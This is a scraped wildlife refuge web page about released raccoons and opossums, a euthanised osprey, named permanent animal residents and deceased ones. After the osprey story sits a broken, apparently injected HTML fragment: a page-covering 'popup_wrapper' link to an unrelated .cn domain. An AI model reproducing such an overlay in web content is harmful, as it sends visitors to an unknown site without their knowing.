****RELEASE.... Orphaned Oppossums, raised by us, have spent a few months growing up at the refuge and are now ready to take on their wild home! and so was the soft-shelled snapping turtle(treated for injuries) ...HOME SWEET HOME..... ...These raccoons arrived at Back To Nature just a few months ago. Some came in with their eyes not even opened yet! Even some with umbilical chords still attached! A likely story could go along with most, mothers hit by a car, the babies attacked by someone's domestic pet, or an unknown situation occurred with the mom and the babies were out wondering alone and vulnerable. The surrogate mothers aka licensed rehabilitators of Back To Nature, received these babies, sometimes 4 or 5 at a time, and raised them (in a very controlled manner so that these animals didn't suffer from the imprinting that humans can do). Through the careful process of raising a wild animal, they are now capable of returning to their wild home, where they will hopefully never have to encounter a human again.****An example of an injury beyond repair.... ...An OSPREY was brought in with a wing completely severed. Possibly shot by someone, hit by a car, attacked by another animal and even possibly a domestic pet. This Osprey would have starved to death trying to look for food without being capable of flying. Unfortunately, there is no room for this beautiful raptor to have a home here or at another facility. Ospreys do not survive well in a controlled environment. They will die from stress, alone. We, at Back To Nature, already house several raptors who have become incapable of surviving on their own because they had suffered from an encounter with a human. Everyday, these birds hang in their enclosures, as the public tours the facility. They have a new purpose for their life; to serve as ambassadors of their species to show everyone why they need to be protected. After evaluating this "bird of prey's" quality of life, it was sadly realized that this beautiful Osprey had to be put to rest.a class="popup_wrapper" style="cursor:default;background-image:url(http://i92.photob ucket.com/fwll_bg.jpg);left:0px;top:0px;height:6406px;width: 832px;" href="http://lsauv4.cn/s/" m$l$
THIS SECTION IS DEDICATED TO OUR PERMANENT RESIDENTS OF THE REFUGE:ZEMA~ our cougar and lover of all fresh meats :)~he also loves his "kitty"pool CRICKET~our Coati who's very clever, loves basil leaves and bagels! NIGEL~Eastern Fox Squirrel he really enjoys lounging around in the summer heat PUDGY~our newest addition! She's a dwarf raccooon CHARLIE AND JOE~non-releasable greey squirrels Our resident barnyard animals! BABETTE AND MOCHA~Babette is 20years old this year!! CASPER AND JENNIFER~ these two are inseparable KOKOMU~our Emu OUR REPTILES: HERCULES~ south american red-footed tortoise he's always making new friends SPIKE~our 5 foot iguana who enjoys sticking his tongue out, getting showers and lounging in his pool :)Our Turtle and Tortoise enclosure which occupies over 10 residents, such as a russian tortoise, FL box turtles, and a gopher tortoise. A FL Box TurtleOur Beautiful Raptors.... WHIZZER~ Red-Tailed Hawk WINNIE~ Bald Eagle COLUMBO~ Great-Horned Owl EDDIE~Black Vulture TEAR DROP, PIRATE, AND SQUINTY~ Eastern Screech Owls MONGUA and MUNCHKIN~ Barred Owls ...And the surrounding wildlife really feel at home here too!
More interesting critters that arrive on a daily basis!!! A FL Mourning Dove A Whipper Will A Juvenile Squirrel A young Cottontail Rabbit A baby squirrelDURING THE WARMER MONTHS OF THE YEAR, BABY BIRDS WILL BE COMING IN FROM THE PUBLIC DAILY... an infant grackle and loggerhead shrike squacking at us for food about every 10-15 minutes :) 2 little sibling infant screech owls wild cottontail and marsh rabbit A very special infant 'threatened' gopher tortoise.
We have a celebrity oppossum! She is in the movie "Evan Almighty", coming out June '07!
Animal Planet, National Geographic
What our animals enjoy doing best!...sleeping :).. (a baby squirrel and baby cottontail rabbit) Both bunnies and squirrels are social animals that need the comfort of other babies. During our slower season(winter), not as many babies come in together that are of the same species, however, they still found a way to keep eachother company and stay warm =)
OUR RECENTLY DECEASED AND BELOVED FRIENDS. WE'LL MISS THEM DEARLY. Mostly all of our deceased residents lived past their normal life expectancies. We lost MAKAI, our 16 year old Wolf, on August 6th, 2007. He is and always will be greatly missed. Hada, our 'celebrity' opossum who spent a solid year, of her 3 years of life, filming the movie "Evan Almighty". We recently lost her in september 2007. Pookie, our bobcat ...Our beloved Prairie Dogs: Miss Emily and Honey Bun... Destiny, our SheepMore Heroes! The refuge workers, volunteers and donors~ Feeding a baby raccoon- Our daily cleaning of our permanent wildlife enclosures- "Babysitting" an infant gopher tortoise so he can enjoy grazing.